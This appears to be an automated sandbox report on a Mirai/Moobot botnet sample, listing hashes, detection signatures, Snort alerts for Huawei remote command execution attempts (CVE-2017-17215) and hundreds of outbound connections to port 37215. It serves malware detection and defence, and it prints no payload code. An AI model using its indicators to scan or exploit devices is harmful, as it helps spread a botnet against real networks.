Linux Analysis Report
k8CCRUs7Yi.elf

Overview

General Information

Sample Name: k8CCRUs7Yi.elf
Original Sample Name: 24ae840c001c6640f8caac05c7e242a4.elf
Analysis ID: 830800
MD5: 24ae840c001c6640f8caac05c7e242a4
SHA1: fa8b9707a0843bb71e6c0e9227a9363cc00ea606
SHA256: 3f104601238dda5a4860278edfff7a0fa8460b675278275bae18a13168667029
Tags: 32armelfmirai
Infos:

Detection

Mirai, Moobot
Score: 96
Range: 0 - 100
Whitelisted: false

Signatures

Yara detected Mirai
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Moobot
Snort IDS alert for network traffic
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Contains symbols with names commonly found in malware
Sets full permissions to files and/or directories
Yara signature match
Executes the "mkdir" command used to create folders
Uses the "uname" system call to query kernel version information (possible evasion)
Executes the "chmod" command used to modify permissions
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Detected TCP or UDP traffic on non-standard ports
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
HTTP GET or POST without a user agent
Executes commands using a shell command-line interpreter
Sample and/or dropped files contains symbols with suspicious names
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: k8CCRUs7Yi.elf ReversingLabs: Detection: 56%
Source: k8CCRUs7Yi.elf Virustotal: Detection: 47% Perma Link

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38784 -> 35.190.101.68:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36752 -> 197.39.107.161:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55690 -> 147.46.86.14:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53818 -> 202.108.169.153:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38110 -> 211.35.61.27:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47280 -> 41.237.23.226:37215
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 35.190.101.68 ports 1,2,3,5,7,37215
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 38784 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 36752 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 36752 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 36752
Source: unknown Network traffic detected: HTTP traffic on port 55690 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 47280 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 47280
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.140.61.123:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.240.88.160:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.19.172.198:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.23.197.218:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.20.100.157:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.206.94.17:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.226.233.136:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.127.3.23:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.121.254.179:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.74.250.109:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.40.73.153:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 134.83.64.211:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.83.16.170:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.203.101.217:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.243.32.149:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 48.254.205.245:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.186.63.207:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.102.3.100:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 78.88.48.25:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 182.182.121.123:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.179.102.31:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 101.184.84.152:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.131.244.6:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.32.103.147:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.120.24.170:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.122.188.124:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.90.65.156:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.106.165.108:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 9.177.81.147:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.21.10.181:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 102.254.17.249:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 51.63.195.100:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.220.141.106:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.36.48.54:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.108.157.134:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.232.191.100:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.144.194.128:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.81.21.130:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.220.136.16:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.107.127.238:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.114.202.144:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 51.251.230.240:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.88.254.0:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 168.100.76.1:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 48.161.11.245:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.12.122.129:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.70.12.236:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 121.221.89.180:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.145.28.44:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.153.92.217:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 120.223.16.236:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.76.23.247:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.152.191.139:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.237.255.94:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.60.207.8:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.18.43.116:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.153.143.169:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.173.32.192:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.61.136.137:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.114.102.122:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.0.126.142:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.218.87.25:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.68.222.44:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 57.132.232.76:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.251.254.111:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.166.234.187:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 98.180.206.143:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 25.56.69.168:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.81.145.35:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.246.182.250:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.117.36.207:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 98.178.43.202:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.79.4.101:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.210.143.5:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.35.210.146:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.29.220.168:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.200.80.52:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.95.111.135:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.124.201.189:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 177.139.13.182:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.131.232.61:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.164.182.169:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.122.126.189:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 150.113.120.248:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.254.203.47:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.195.48.89:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.2.106.165:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.212.39.117:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.17.61.84:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.108.177.178:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 40.96.192.34:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.116.196.199:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.81.93.183:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.219.152.209:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 93.116.1.245:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 63.185.232.143:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.87.46.180:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.146.127.21:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.159.52.49:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.247.157.188:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.113.225.224:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 18.84.122.71:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 95.168.126.66:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.21.93.228:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.246.19.56:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.198.74.97:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 36.218.171.5:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 204.130.146.145:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.81.63.131:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.218.125.24:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.224.127.215:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.176.234.248:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.214.78.211:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.60.216.140:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 19.51.109.139:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.103.32.13:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 40.112.95.143:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.157.42.61:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 189.48.83.11:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.133.252.121:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.35.75.20:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 150.132.232.64:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.43.63.222:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 153.100.70.171:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.111.211.90:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.114.29.231:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.87.50.109:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.166.91.111:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.18.80.43:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 212.245.58.119:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.116.6.158:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.233.148.136:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.80.40.163:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.255.104.37:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.255.143.24:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 59.245.123.183:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.208.229.251:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.47.22.91:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.196.229.216:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.143.169.243:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 144.114.232.90:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.8.68.195:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.197.138.66:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 156.147.198.1:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.178.209.144:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.77.96.221:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.128.220.220:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 193.250.136.198:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.194.209.119:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.155.137.24:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.249.149.64:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.204.225.204:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 213.142.13.152:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.174.152.207:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 174.33.50.59:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 60.139.141.140:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.195.181.173:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.119.219.29:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.103.26.169:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.247.40.155:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 147.237.246.136:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.175.82.158:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.144.236.229:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.182.220.130:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 165.165.25.166:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 42.175.74.40:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.57.152.48:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.121.201.36:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.155.165.6:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.78.116.173:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.149.39.40:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.220.23.19:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 50.65.217.163:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.139.50.77:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.217.254.212:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 77.91.60.77:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.79.184.91:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.210.253.35:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 36.133.2.22:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.193.196.191:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.196.46.26:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.25.235.47:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.198.161.164:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.50.161.251:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.178.27.237:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 100.216.31.185:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 70.35.156.231:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.157.9.65:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.50.19.160:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.192.243.115:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 195.50.59.12:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.116.101.110:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.70.217.6:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.141.137.220:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.182.44.198:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.53.245.177:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.56.177.154:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.152.39.88:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.2.101.65:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 161.93.78.252:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 74.78.108.5:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 1.19.144.227:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 133.127.164.208:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.29.171.210:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.233.194.139:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.36.254.8:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.44.7.74:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.117.16.77:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.43.240.243:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 101.81.140.134:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 86.49.201.217:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.145.9.109:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 35.190.101.68:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 59.174.132.175:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 115.223.3.232:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.197.131.188:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.96.5.249:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.214.65.125:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 101.10.81.42:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.46.117.189:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.192.95.151:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.122.245.182:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.238.249.136:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.45.220.14:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.89.236.217:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 207.71.102.191:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.178.226.123:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.45.1.103:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.75.197.17:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 78.55.59.64:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.85.57.167:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.84.237.226:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 189.28.113.218:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.215.23.92:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 2.224.230.39:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 116.12.83.248:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 27.145.118.194:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.32.43.168:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 79.46.135.45:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 175.126.181.215:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.97.64.174:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.212.73.55:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.79.72.206:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.93.197.124:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.116.104.109:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.159.141.201:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 107.145.4.168:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.214.192.118:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.159.148.97:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.214.77.220:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 125.132.3.102:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.204.83.49:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.56.120.39:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.76.130.47:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.164.96.194:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 174.56.64.97:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 199.193.174.232:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 223.115.119.194:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.249.19.29:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.143.193.138:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 39.140.104.155:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.22.205.16:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.32.48.248:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 122.104.21.215:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.65.159.111:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.69.16.178:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.231.143.93:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.42.22.20:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.205.5.247:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 67.139.162.179:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.149.136.89:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 142.62.45.166:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.196.34.84:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 44.223.208.109:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 93.183.83.58:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.47.210.155:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.140.3.204:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 150.174.118.145:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.152.90.83:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.7.28.77:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.99.48.28:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.65.67.102:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 115.252.166.135:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.131.249.81:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.126.47.96:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.252.147.46:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.216.221.183:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 45.180.40.130:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.170.190.42:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.184.53.83:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 49.214.89.131:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 154.147.222.138:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 161.203.122.78:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 69.88.47.230:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.168.159.85:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.114.88.61:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.172.90.40:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.1.169.138:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.230.253.119:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.242.135.117:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 162.92.235.253:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 183.123.230.19:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 78.184.209.66:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.110.55.47:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 20.65.6.134:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.199.183.79:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.32.87.192:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 14.92.47.136:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.5.26.53:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 195.147.181.247:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.11.104.86:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 202.33.85.2:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.188.4.163:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.22.248.14:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.227.108.237:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 97.107.50.31:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.116.48.164:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 66.103.255.233:37215
